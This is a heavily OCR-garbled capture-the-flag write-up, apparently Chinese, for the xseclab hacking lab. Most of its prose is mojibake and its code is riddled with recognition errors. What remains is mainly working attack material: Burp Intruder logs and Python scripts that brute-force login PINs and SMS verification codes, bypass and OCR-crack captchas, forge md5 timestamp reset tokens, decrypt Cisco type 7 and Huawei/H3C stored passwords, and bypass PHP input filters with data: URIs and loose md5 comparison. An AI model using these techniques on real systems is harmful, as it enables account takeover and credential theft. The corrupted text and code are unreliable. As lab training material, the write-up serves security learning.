Firefox/49.0

Accept: text/html, application/zhtml+xzml, application/=nl;q=0.9,*/ % ;q=0.8
Accept-Language: zh-CN, zh;q=0.8, en-US5;g=0. 5, en;g=0. 3

Lecept—Encoding: gzip, deflate

Referer:

http://1labl.zseclab. com/basel0_(b4e4866096913ac9c3a2272dde27215/ index. php
Comnection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/z—www-form—urlencodsd

Content-Length: 8

v=G6GG66

1A 2

HTTP/1.1 200 OK

Server: sae

Comnection: keep-alive

Date: Wed. 26 Oct 2016 05:27:18 GMT
Content-Type: text/html

Via: 10.67.15.25

¥-Daa-Tummel: hop_count=1
Content-Length: 327

<html>
<head>
<meta http-equiv=Content-Type content="text/htnl;charset=utf-8">
</head>
“hody>
<form action="" method="post”>
<input type="text” maxlength="3" name="+"/>
<input type="submit” wvalue="Ht%"/>
< form>
</body>
Shtm]
|key is  HKyu67856T&*&K

NS T ARG R N R, R BT T —N803w 1, (ER /NI U7 1 MR R A R IR S v AT 1), R A R D/
ik

CLANBICLEIX AN 57 9 /0 B i ) R, T /) B L A8 R T /) 40 LG PR 803 11 2 JER B RS 4

i8S bk

% (key)?


http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php
http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php

BB, keyBRMIXAHINT ...
“ISAE FR4- A%, %8 B Bikdk s, 2R BT BN ENR.
TR

12 ARV 1)

N T — AP, FABREZBEREGEES, FIXRMIEEEHE T — AN LR R M2 NERA BT .. W &5 1E R~
WEREZRET, HEHET —ANER, 53Ffind you,no more than 3 secs!

B bk

FIFF ML
“lam index.php , I am not the admin page ,key is in admin page.”

RS INEEE A L ZE Vi madminphpZ R HE S R, &5 2R T — Frobots.txt,

nice~

“Disallow: /9fb97531fe95594603aff7e794ab2f5f/”
TR

“you find me,but | am not the login page. keep search.”
ut#h Elogin.phptg~

“right! key is XXXX”

b n 2 ~

XA LR A, R R IR AR — i

AR 5%

1.key X XUARAE] T

i8R bk

TIT R
“ B E tekey "
“ABikkey, MWRER[EIGRE %, WXEEHkey! #F! -
B
<a href="./search_key.php">_ ZlixH#key </a>

INE TRt BE R, 2 BT E 3 A5 SRR M LR "/no_key is_here_forever.php” S iX 4
RFEEREFEM~


http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php
http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

“keyis : XXXX”

keyBliX 4 P T~

20RO E

NABESIN— AR, EREMASERBHREODENNEGEE, 2042 WM RAE R, HENHME—ANEER
BLTRHRE, TR/ IE G875 @ I PE O B KW ?

1 % ki

2sZ WERR 9786*57277+1512%(9786+57277)= XFEH... . MERR AR E MR /N EA .
B R python Kk

import requests,re
s = requests.Session()

url = "http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php"
html = s.get(url).content

reg = r'([0-9].+)=<"
pattern = re.compile(reg)
match = re.findall(pattern,html)

payload = {'v': eval(match[0])}
print s.post(url, data=payload).content

ZRA

>>>
<html>
<head>
{meta http-equiv=Content-Type content="text/htmlcharset=utf-8">
{fhead>
(hnd:ﬂ&ey‘is 10hHEH]% &*Ijkhl </body>
</html>
22

b 4T HS~

3RANEHEREM
Tips: X MEH AN RBEMERER. a4 RZENR? EXMhk: BF, BEERTER(NET)

F~FRFRTARNFERFEAREAN: %00,%0a,%0d,%0a%0d,%0b,%0¢,%a0,null,none %, 18 18 iR 1E ~

4 B AHRAH tikeylE ?
AT B $RA A4 SRR AT i %
AT


http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

JSH ERER B L ~

5.3 tL I IS 28 — A
B RUERS, BERAREERN —HG?
I SR M bk

WAERS IEH 0 T # R — R AR K. B8 H KB BERZEN B IEERE ~REALERMANEEFERIR.

Request

JRawT Params T Headers I Hex ]

Response

| Raw | Headers | Hex |

POST /vecodel_befefTeacf Thadcfdaaf18844cdhlcdf/ login. php HITR/1. 1

HITF/1.1 200 OK

L

Host: labl.=xzseclab.com

Oser—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:49.0)
Fecko/20100101 Firefox/49.0

fccept: text/html, application/zhtml4zml, application/zml;q=0.9, */ % g=0.3
4ccept-Language: zh—CHN, zh;q=0. 8, en-U35;q=0. 5, en; q=0. 3

4ccept—Encoding: gzip, deflate

Referer:

http: //1abl. zseclab. com/veodel_hefefTeacf Thadcfiaaf18844cdblcdb,/ index. php
Cookie: PHPSESSID=e3eaai5f54756a2Tc42bcaTedf 7798 e

Connection: keep—alive

Opgrade—Insecure-Requests: 1

Content—-Type: application/z—www—Fform—urlencoded

Content—-Length: 48

Server: sae

Comnection: keep—alive

Date: Thu, 27 Oct 2016 01:19:44 GNT
Cache-Control: no-store
Content—Type: text/html; charset=utf-
Pragma: no—cache

Via: 10.67.21.53

¥-Daa—Tunnel: hop_count=1
Content-Length: 9

pwd errnrl

username=adminkpwd=1234&veode=28psksubmit=submit

IR REN R EFME S —NEF R 25 B pwd error”.
M — Fpwd B IRIRAE &S HI pwd error’if & vcode error”.

Request

Raw | Params I Headers I Hex ]

Response

J Raw | Headers | Hex |

HTTP/1.1 200 0K
Server: sae

POST request to /vcode_bcfeffeacfTbadc64aaf18844cdb1cd6/login.php

Type | MName | Value Add Comnection: keep—alive

- Date: Thu, 27 Oct 2016 01:20:47 GMT
Cookie PHPSESSID eleaalbfb4756a27c425¢caledfi79.. | — Cache—Control: no-store
Body username admin Remaove Content—Type: text/html; charset=utf-8
Bod d 1235 I Pragma: no—cache
Bt}dy W&d 28 Up Via: 10.67.21.28

v JELLE ps < ¥-Daa—Tunnel: hop_count=1
Body submit submit D Content-Length: 9

awn

pwd error

N

& pwd error”. 1 BH 36 11E A A S 8 5 2L

LTI T D RACL AR T AR RS A 25 A4 BATH brupsuite BB S 5T T (pythontia 71T BL)


http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

Attack type: lSniper | v]

POST /vcodel_befefTeact Thadcfdaaf18844cdblcd6/ login, php HITR/L. 1
Host: labl.xseclab. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:49.0) Gecko/20100101 Firefox/40.0 Terfg

Add §

>

Accept: text/htnl, application/zhtml+xnl. application/zml; q=0.09, */+*:q=0.8
Accept-Language: zh—CH. zh;q=0.8, en-US;q=0.5, en;g=0.3

Accept-Encoding: gzip, deflate Auto §

Referer: http://labl.=zseclab. com/vcodel_befefTeact Thadefdaaf18844cdblcdb/ index. php

Cookie: PHPSESSID=e3eaaidf54756a27cd25caTedf TT98 Refresh

Comnection: keep-alive
Upgrade-Insecure-Requests: 1
Content—Type: application/x—www—form—urlencoded

Content-Length: 48 /

username=adninkpwd= § 1234 § kvcode=28psksubnit=submit

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the |
payload type can be customized in different ways.

Payload set: l1 |vJ Payload count: 9,000

Payload type: lNumhers |vJ Request count: 9,000

~

Payload Options [Numbers]

()

This payload type generates numeric payloads within a given range and in a specified format.

MNumber range

Type: ® Sequential (_) Random

From: 1000 -—
To: 9999 —
Step: 1 p—

How many:

Mumber format

Base: (® Decimal () Hex



E Intruder attack 1 —

Attack Save Columns

j Results TTarget T Positions I Payloads T Options }

Filter: Showing all items )
Request | Payload |Status | Emor | Timeout | Length ¥ Comment
238 1238 200 ] ] 263 A
46 1045 200 O O 250
59 1058 200 O O 250
66 1065 200 O O 250
79 1078 200 O O 250
a0 1079 200 O O 250
96 1095 200 O O 250
113 1112 200 O O 250
"7 1116 200 O O 250
129 1128 200 O O 250 ﬁ
Request | Response ]
jRaw I Headers T Hex }
Content—Type: text/html; charset=utf-8 A
Pragma: no—cache
Via: 10.67.15.25
¥-Daa—Tunnel: hop_count=1
Content-Length: 22
kev 1is JL789=sdf#@=d ‘-"—f— \J
s < + = Type a search term 0 matches

2028 of 9000 | !

KRR = R B R A8 EE A 45 R~

pythonE 5 T —4

import requests
s = requests.Session()

url = "http://labl.xseclab.com/vcodel_bcfef7eacf7badc64aaf18844cdblc46/login.php’
header = {'Cookie': 'PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe" X
for pwd in xrange(1000,10000):

payload = {'username': 'admin', 'pwd':pwd ,'vcode': '4hrk'}#

r = s.post(url, data=payload,headers=header)

print pwd,r.content

ZR

1238 key is LJLJL789sdf#@sd

6.2 LI UEFD 55 — 35
TG AIE {68 2R 3K A 6 E
1 5% Mk



http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

RN AT GO L A R 5 AT =R =R = /€'

Request Response
JRaw T Params I Headers I Hex ] J Raw T Headers I Hex ]
05T /vecodel_abeBbaclbdTc8187h09deb20babeleds,/ login. php HITP/1. 1 A HITP/1.1 200 OK
Jost: labl.xseclab. com r Server: sae
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; rv:49.0) Gecko/20100101 Commection: keep-alive
Firefox/49.0 Date: Thu. 27 Oct 2016 01:44:45 GMT
tccept: text/html. application/zhtml+xzml, application/zml;q=0.9, #/+;q=0.8 Cache—Control: no-store
Yecept-Language: zh-CHN, zh;q=0. 8, en-US;g=0. 5, en: g=0. 3 Content-Type: text/html: charset=utf-§
Yccept—Encoding: gzip. deflate Pragma: no-cache
eferer: http://labl.xzseclab. com/veode?_afefbaclbiTc8187h00deb20babeleds/ index. php Via: 10.67.15.25
Coolkie: PHPSESSID=e3eaaiifi4756alTcd25caTedf 77981 X-Daa—Tumel: hop_count=1
Commection: keep—alive Content-Length: 9

Jpgrade-Insecure-Requests: 1
Tontent-Type: application/z-www—form—urlencoded pwd error
Content-Length: 48 \—\

azernane=adminkpwd=1111&vecode=czrdksubnit=submit

BR—KEE

Request Response

JRaw I Params T Headers [ Hex } J Raw T Headers T Hex 1

08T fveode?_aBefhacib4Te818Th09deb20babe0e85/ login. php HITE/ 1.1 A HITP/1.1 200 OK

Iost: labl.xseclab.com r Server: sae

Tser—Agent: Mozilla/5.0 (Windows NT 10.0; Win64: =64; rv:49.0) Gecke/20100101 Comnection: keep—alive

Hrefox/49.0 Date: Thu, 27 Oct 2016 01:45:24 GNT
iccept: text/html, application/xhtml+znl, application/=ml;q=0. 9, #/#;q=0.8 Cache-Control: no—store
swecept—Language: zh-CN, zh; g=0. &, en-U3,;g=0. 5, en; g=0. 3 Content-Tvpe: text/html; charset=utf-2
iccept—Encoding: gzip, deflate Pragma: no-cache

teferer: http://labl.xzseclab. com/veode?_afefhaclb47c818Th09deb20babeleds/ index. php Via: 10.67.21.53

;ookie: PHPSESSID=eieaa’ofd4706alTcd2bcaledf 7T798fe ¥-Daa-Twmel: hop_count=1
lommection: lkeep—alive Content—Length: 11
Jpgrade-Insecure-Requests: 1 Vad

lontent-Type: application/z—www—form—urlencoded vcode error

lontent—Length: 48 / {

lserna.me=admin&pwd=2222&\.—'00de=czr4-|?:submi‘t=submi‘t

2 4"veode error’ T .. Yt IF Y BAIE(E R 500E. . B AR WAL E 2 B4R

Request Response

JRaw I Params T Headers T Hex ] J Raw I Headers T Hex }

08T fveodel_aBefbacibdTe818Th09deb20bakbeleds/ login php HITE 1. 1 A HTTP/1.1 200 CK

lost: labl.=zseclab.com " Server: sae

Iser-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:49.0) Gecko/20100101 Commection: keep-alive
Tirefox/49.0 Date: Thu, 27 Oct 2016 01:45:57 GMT
Yccept: text/html. application/zhtml+zmnl, application/=ml;q=0. 9, %/ /% =0, 8 Cache-Control: no-store
‘ecept-Language: zh-CH, zh;q=0. 8, en-US; g=0. 5, en; g=0. 3 Content—Type: text/html: charset=utf-8
‘ccept—Encoding: gzip. deflate Pragma: no—cache

teferer: http://labl.=xzseclab. com/veodel_afefbaclbiTci187Th09deb20babeleds/ index. php Via: 10.67.15.24

looliie: PHPSESSID=e3eaaTsf04756a27cd2bcaTedf TT98 e X-Daa—Twmel: hop_count=1
lomnection: lkeep—alive Content-Length: 9
Ipgrade-Insecure-Requests: 1

lontent-Type: application/z—www—form—urlencoded pwd error e

lontent-Length: 44

.1serna.me=admin&pwd=2222&vcode=£ubmi‘t=suhmi‘t




JE SRR IX A AR R burpsuite 4k SE 1Rk

E Intruder attack 2

Attack Save Columns

j Results TTarget T Positions I Payloads T Options }

Filter: Showing all items / )
Request | Payload |Status | Emor | Timeout | Length v Comment
229 1228 200 ] ] 274 i
10 1009 200 O O 250
1 1010 200 O O 250
22 1021 200 O O 250
38 1037 200 O O 250
39 1038 200 O O 250
43 1042 200 O O 250
92 1091 200 O O 250
103 1102 200 O O 250
110 1109 200 O O 250 :,
Request | Response ]
jRaw I Headers T Hex }
Content—Type: text/html; charset=utf-8 A
Pragma: no—cache
Via: 10.67.15.48
¥-Daa—Tunnel: hop_count=1
Content-Length: 33
key 1s ss33fasvicovsdfi@sd ¥
s < + = Type a search term 0 matches

1390ef9000 L ]

pythonti 4T

import requests
s = requests.Session()

url = "http://labl.xseclab.com/vcode2_a6e6bac®b47c8187b0@9deb20babcOe85/1login.php’

header = {'Cookie': 'PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe"}
payload = {'username': 'admin', 'pwd':1000 ,'vcode': 'rfj8'}

r = s.post(url, data=payload,headers=header)

print 1000,r.content

for pwd in xrange(1001,9999):
payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
r = s.post(url, data=payload,headers=header)
print pwd,r.content

89ss33fasvecvsdfi@sd

wl
[3:]
-
[*H
1]

72 RAIERSSE =H (SESSION)
JEH, WUERS/E AW LUXHE. .
BAER AR, VRKENFIED? JESCH



http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

X SR 6RR 1 77 VA T AR R EREEAHE A

8. MR —TrtaeEd R T
JEH, i BIXAE R BE S AT SR .
R

B

<a href="?view-source">¥HE%</a></1label>

T ERTLUES

<?php
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE_ );
exit();
}

include('flag.php');
$smile = 1;

if (!isset ($_GET['~_~']1)) $smile = ©;
if (preg_match ('/\./', $_GET['~_""])) $smile = 0;
if (preg_match ('/%/', $_GET['~_~"])) $smile = 0;
('/[0-91/", $_GET['~_~'1)) $smile = ©;
if (preg_match ('/http/', $_GET['~_"']) ) $smile = ©;
if (preg_match ('/https/', $_GET['~_~"']) ) $smile = 0;

(

(

(

if (preg_match

if (preg_match ('/ftp/', $_GET['~_~"'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['~_"'])) $smile = O;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['~_~'])) $smile = ©O;

if ($smile) {
$smile = @file_get_contents ($_GET['~_"']);
if ($smile === "(e'-'e)") die($flag);

?>

REAE, N T i thiflag, 7 243 2 LI BT A 21, B

AR A A IRE

A AHIEAREER . % [0-9] http https ftp telnet IXUEZRPE

.$_SERVER[ 'QUERY_STRING' ], Bp"~_~=(fIAME) "IN ERFREARGEE _ INERF

i E$smile! =0

.file_exists ($_GET['~_~'])&ZiNe. HEtRS_GET[ '~ ' | HAFLE

Vesmile" UIET" (o' e) " L HEE R file_get_contents($_GET['A_A'])UFIA" (o' "e)"

o v A W N R


http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

FAI TR AR, B3 5 B1IATFE T, BREX "~ _A"IRE , XA ERE A A" BBAR LR AU LSRR " %5 " XA 2R
TARSFA" L AREEAMTER2 5, XA IS http https ftp telnet XEAUET, M6 N EEidfile get contents()EX

data:, < L AKHE> e i
mmmmmwm<x$ﬁﬁ>t’//
data:text/html, <HTML{tfE >

data:text/html;base64, <base64i i (1) HTML L >
data:text/css, <CSS{UiL>

data:text/css; base64, <base644i i [11CSSTLIL>
data:text/javascript, <Javascript{{ i3>
data:text/javascript;base64, <base644i it (1’ Javascript{tiL>
data:image/qif;base64,base644i i 1Igif ) | it
data:image/png; base64,base64%ifis (1 png & J5 ¥l
data:image/jpeg;base64,base644i i 1jpegk F %k
data:image/x-icon;base64,base644i % (1icon & &

AiTE data ZEEIMIUARS 2, ZERFC2397+ fRIMHY), BT /N (S, rTCAEM G BRI, 1h
A AR SRR

EiFis

http://labl.xseclab.com/basel3_eadlbl2e47ec7cc5390303831b779d47/index.php?~%5f~=data:, (e'-"e)

HAEE Flkeyrhi~
VRARES BLRT TR, B LA BN 5 € R AT B~ U B i urldT I~

<input type="text" name="T_T" placeholder="where is your smile" required>

9.3Z L I FHLIERT
PRI FHL 515 /213388886666, WiFii <L & HEREH
8 < H bk

R IRELFHLRIERS S N 3R 3SR
“please login as 13388886667
1R [B] B R T IR T ML IR R S A 3R A, H B


http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

FHIEHEE - BB EREIAFHLE T |, (REAEL.

RE

P& {E# A\ vcodeiR X B E

“no vcode!”
JESRA&no veode.. N iZf&veode errord Xt ...

HEE SR

Z B Ui"login as 13388886667, 1% 1E F I &2 & £)13388886666 I i, 34 & 3% 13388886667 i) i {E I IE TS H & I A& Z Bl B 3%
13388886666 114 IEAS T 3% & IE # 15 % T 1 X R RE —ARF—14

o KU I (13388886666)->1k /879382 >4 \ 13388886667 4 A 9382->H 5%

keyzt H SR~

10 ZE 1B RRH S A

Tips: AR —H R, RIFSERI" (B0 BERHIT, REZEMTAFIKM EEWTEEEER, —HRARK! HEFIS
14:13388886666

i K H bt

R REF LI AERD, 548
“FHRAEGR: BIEREIFHILET, READ. RBIMAHT, JFLAN0
veode & 3fL 4, kA N0 AR AYL T fhvhal R E KRB T


http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

E Intruder attack 5

Attack Save Columns

j Results TTarget T Positions I Payloads T Options

|

Filter: Showing all items / QJ
o
Request | Payload |Status | Emor | Timeout | Length ¥ Comment
122 221 200 ] (] 445 A
" 110 200 0 [] 265 5
37 136 200 | [ 265
N 190 200 0 [] 265
92 191 200 | [ 265
96 195 200 0 [] 265
102 201 200 | [ 265
135 234 200 0 [] 265
145 244 200 O [] 265
180 279 200 O (] 265 E
Request | Response ]
jRaw I Headers T Hex }
Pragma: no—cache A
Via: 10.67.15.25
X-Daa—Tumel: hop_count=1
Content-Length: 203
B 5 B AL S GE 7R BR R A S Ao A L AT e E WA T A B A0 RS, AT, . <
bro AR LS AL 13399999990 g v
w @ u @ Type a search term 0 matches

Finished |

13399999999 K 4k LA K ...




E  Intruder attack 8 — O x

Attack Save Columns

j Results TTarget T Positions I Payloads T Options }

Filter: Showing all items / m
" 4

Request | Payload |Status | Emor | Timeout | Length 4 Comment

93 192 200 O L) 259 .

0 200 J ] 264 baseline request 5

1 100 200 O [ 264

2 101 200 O ] 264

3 102 200 O [ 264

b 104 200 O ] 264

4 103 200 O [ 264

6 105 200 O ] 264

8 107 200 O ] 264

9 108 200 O (] 264 E

Request | Response ]

_[ Raw | Headers | Hex |

Pragma: no—cache A
Via: 10.67.21.28

¥-Daa—Tunnel: hop_count=1

Content-Length: 18

key is ('@@=d *.--"'"—i
¥
s < + = Type a search term 0 matches
Finished |
ok~

11 BERD R )
BAERDIR 5

Tips: IRAEAS K 4R /& 301 Hk
B HhE

R H BB R T LI IERD, T B AR A )G B i I UE R AR T 3R R A U, 2 T I UERS R python KL


http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

from pytesser import *

import requests

import os

cur_path = os.getcwd()

vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facbl'}

def vcode():

url
for

pic_url = 'http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php’
r = requests.get(pic_url, headers=header)
with open(vcode_path, 'wb') as pic:

pic.write(r.content)
im=Image.open('vcode.png"')
text=image_to_string(im)
v=text[0:4].replace('0','0").replace('o",'0").replace('1l','1")
if len(v)==4 and v.isdigit():

return v
else:

return 0

= 'http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4f28530268/1login.php’
i in range(100, 1000):
while 1:

code = vcode()

if code:

break

data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
print 'm_vode=%s u_vcode=%s %s' %(i,code,r.content)

AE RS R A S A A I 7, N T — L84 Wi g 3t 75 R B RAE IR R X 1. AR T s 78 (9 153 R 18 B B LR

1:vuda=191 u:vcuda=".""."[]9 key is [ | sddadaa**)

NERT —ATR

\w Pkav HTTP Fuzzer Verkey@Pkavﬁ?éEllj\ s e S VR Bl a2l FOSPKAVEAALFonly_guest, gainover, sogili, f5xEEE, WRAANF, felikkdy, FF. xiaol. css ©http://www.pkav.net

EfFEN EfE EEE mmis REER
FHl: Ilebl‘xseclab‘ com ‘ %0 80 3 []{#AssL - X-Daa-Tunnel: hop_count=l
2 Via: 10.67.21.27
= i Pragma: no-cache
= Content-Encoding: gzip
B ¥ f & it Transfer-Encoding: chunked
8 Content-Iype: text/html
ERER . Cache-Control: no-store
=2= TiE{E WS AR 2 B kE E £ 8 Date: Thu, 27 Oct 2016 07:54:51 GMT
2 = g Connection: keep-alive
1 100 1273 200 = = 28 0 | Server: sae
2 101 3556 200 S & 28 11 ~
3 102 2830 200 = = 28 2 key is 2 )
4 103 2830 200 - - 28
5 104 5499 200 - F- 28

Z R £ iR brupsuite+I8F SR Fil~

12 XSSEAMI R
XSSHEA AR A 5 B AT LAE K XSSHKM B A FFE T 6 B R A BT BRI ESF LN <T R 4>

i8Sk


http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

XSSHEAK L, Bk~

13.XSSHE A2 faj B ged
1RZ5 5 s ar LAt 3%,
B Hhht

XSSIEA KL, Bk~

14 XSSHEA3: KI5 # i
XSSE:AE3 AR 5 i
Tips: A~ 2 1R A

B HhE

XSSEA KL B~

15.PrinciplefR EZEFIXSS

JRE/ RN SREE.  ARIA Kxss# MRS58, AN
Take it easy!

I8 S hk

XSSIERA L B~
EARX
VENTEZE S 56 B % DL i~
EAER

1.5 B —kjpgts R B A
R e EfEjpots BB F ek~
8 IRk

AL~
‘B, HE, BEET —Kjpgt KB R

<form action="upload_file.php" method="post" enctype="multipart/form-data" onsubmit="return check()">


http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php
http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/

D i 2
KeyRbix 4 13K T ...

2.3F bt —Kjpoks KB A
HEERjpgHk !
B bk

ik
“Hik, BT —iKjpegl B R, EAERIN!
“EAESCFRBEER

TINEEE..
el jpg b4, WREIMERIMFELRE T

Go Cancel < | >|r

Request Response
JRaw T Params I Headers T Hex ] jRaw T Headers T Hex ]
POST Jupload?_3lccle024f91058aT42d8hedd5cTcadf /upload_file. php HITE/1.1 A HITP/1.1 200 OK
Host: labl.xzseclab. com Server: sas
Tser—-Agent: Wozilla/5.0 (Windows NT 10.0; Winf4:; x64; rv:49.0) Gecko/20100101 Firefox/49.0 Comnection: keep—alive
Accept: text/html, application/zhtml+zml, application/=ml;q=0.9, %/ /% q=0.8 Date: Thu, 27 Oct 2016 08:11:45 GHT
Lecept—Language: zh—CH, zh;g=0. 8, en-US;g=0. 5, en;g=0. 3 Content-Type: text/html; charset=utf-8
Lecept—Encoding: gzip, deflate Via: 10.67.15.48
Referer: http://labl.xseclab. com/upload?_31cc2e024f91058a742d8bed95cTcadf/ X-Daa—Twmel: hop_count=1
Cookie: PHPSESSID=896861ch9678e89611bbaT0Ef33fachl Content-Length: 26
Comnection: keep—alive
Upgrade-Insecure—FRequests: 1 key 1s dvytigh$h &
Content-Type: multipart/form-data; boundars 246015964205

Content—Length: 37813

245015964205
Content-Disposition: form—data; name="file”; filename=”U04SRmDngTUrstpff0d&690.txtr
Content-Type: image/ jpeg

JFIF ) c

398 LA —iKjpgs NI E A
HEERjpgHk !
8 S H ik

BT — A2 B 7 EEAMT T

SRE—EHRE NEE T —T(EARGEEAKRE) ZjsEE . 0% BAERCH4, B SHKFERFBE AT RARRIEFERR
1145 B S0 42 R XX jpg et B 48 0 2 AT BLIE i J6IE /.38 — g

B keyE|F~


http://lab1.xseclab.com/upload2_31cc2e024f91058a742d8bed95c7ca4f/
http://lab1.xseclab.com/upload3_67275a14c1f2dbe0addedfd75e2da8c1/

1.UEHE R G0 ERRE

PV R B B SR B AT IR BUE R T AL (E BRI, ERER)

i8R Hu bk

AFEBEH: REER Tadminfl 7, HE R K ERAS AR AT BOE SR IR I E B AL KB R

RISIE G k2 E B R, R R JEadmin, B AT U E B ) E 2 Radmingi A 1T,
ZRIMEEE

Go Cancel < v >

Request Response
[ Raw TPaams T Headers | Hex Raw | Headers | Hex
GET request to /password1_dc178aa12e73cfc184676a4100e07dac/reset_php / IS*TTP*" 1.1 200 OK
ETYVEYr: =sSae
Type Name Value P Comnection: keep-alive
| | / i Date: Thu, 27 Oct 2016 08:55:26 GHT
URL sukey 62f5bBbd45ecd26d327ab13055601243 Cache-Comtrol: mo-store
URL username admin - Remove Content-Type: text/html; charset=utf-2
Cookie PHPSESSID 896861c59678e89611bb675F33fach Content—Length: 0

Pragma: no—cache
Via: 10.67.15.48
¥-Daa-Twmel: hop_count=1

E

]

B LAE 2,6 0 3 8 1R [5] h R 7.

XERBIE A sukey, BEREEKREMIS E—TEE

1477558406

B T LA, RIEE G 3L E 3N, 1T B — B e K B R R IB R B [ .
R—TEF

L5 FESRIEIT

2 8B XT T H IR AR

ANRREDRN TR SRR, EXAGFRBERER], BERA/PNHMERKSE(R0144F) ER= R wIfi %S HImd5 32462/
5)

Wifi-Crack

2014 4E k=, FHLR HAE 1994 FpythonS4~19940101-19941231 =2 4 FIEWSA 18

fp=open('pass.txt’, 'w')
year=1994
for mon in range(1, 13):
for day in range(1, 32):
fp.write('%d%02d%02d\n"' % (year, mon, day))
fp.close()


http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/index.php
http://hacklist-cdn.stor.sinaapp.com/misc/wifi-crack.cap

SSID Hash R O W&

3.Ji%&HICisco

NIRRT AR, BT — 8 2R 5 s R 3R EY T 3 2 5 A2 el running-config 3O, RILLA T %65
02070D48030F1C294940041801181C0C140D0A0A20253A3B

TE VRS b AR X 1

T —TF, K ACisco®g
RET AW, B R~

Type 7 Password: ‘020?0D48030F1C29494{]{}41801181CI}C140DOAOA2(]253ASB

Crack Password /

Plain text: ‘aishish-. DAdmiIn

FBAN P 3 (“http:/mww.ifm.net.nz/cookbooks/passwordcracker.html“)

4.73 % B
XY/ BB SR IR R E] T Sehuawei/h3cAZ AL I N2 B G, 1 VR F6 ML AR o
aK9Q4I)J'#[Q="Q"MAF4<1!!

B BB F W huawei/h3cXZ Bl # 2, R I — MU A 7 —F

gL


http://www.ifm.net.nz/cookbooks/passwordcracker.html

# -*- coding: cp936 -*-

import sys,

from Crypto.

os
Cipher import DES

def decode_char(c):

if ¢ ==
r =
else:

=

a :
1y

G

return ord(r) - ord('!")

def ascii_to_binary(s):

assert len(s) == 24

out

K AKK K A K @A KK P O O 1
1}

[0

] * 18

in range(0@, len(s), 4):

decode_char(s[i + 0])
(y << 6) & oOxffffff
decode_char(s[i + 1])
(y | k) & oxffffff
(y << 6) & oOxffffff
decode_char(s[i + 2])
(y | k) & exffffff
(y << 6) & oOxffffff
decode_char(s[i + 3])
(y | k) & exffffff

out[j + 2] = chr(y & oOxff)

out[j + 1] = chr((y >> 8) & oxff)
out[j + @] = chr((y >> 16) & oxff)
j +=3

return "".join(out)

def decrypt_|

password(p):

r = ascii_to_binary(p)
r=r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)

r = d.decrypt(r)

return r.rstrip("\x00")

print decrypt_password(raw_input('#AZEC\n"))

5.5 Wi Y HE £ /) B

NBIRE B EXRIE R, TXANANEER TS AN AREK, TRXRE T TR & EKNIERE T100THE T —Ke

*, TRPFIAFBAHAEERLENT .

ik

Aok T T

6.7 HE

/NS R EFIRRK T Party, T GRACAN 45 fth ) T — ANk, i R ZAth BE 2 R, i gl 220 /N B — AN ER.

X SR GRAREE /N B 3B /7 51 :AGV5IULSB3ZLVSE=
Tips:keyst & % &5 1

5

~


http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php

RIEAENES R L Ebase64, il R AR KE FEHE K — TR NEG~

import base64,re
from itertools import combinations
s=list('AGV5IULSB3ZLVSE=")

for i in range(len(s)):
for j in list(combinations([x for x in range(len(s))], i)):
a=list(s)
for k in j:
a[k]= a[k].lower()

r=repr(base64.b64decode('"'.join(a)))

if "\\x' not in r:
print r[1:-1]

ZR

| hey! I1lovel!

7.md 5 FL F BE Rl 4 0 2
md5 FL i BE AL UK ? H SUA IR RATA T Z AT R 15 B 58 & — BMD5
B bk
T EEN MR REEE
<?php

$flag=FLAG;
if(isset($_POST["password"])){
$password=$_POST[ 'password'];
$rootadmin="11793422703!";
if($password==$rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;

telseq{
die("Password Error!");

AR = B R Al 15 Epost password, 2B A% T11793422703!, H.password fI{E £ 3 md 50435 J5 16 8 /1117934227031 & i
md5 N (5" ==".


http://lab1.xseclab.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/

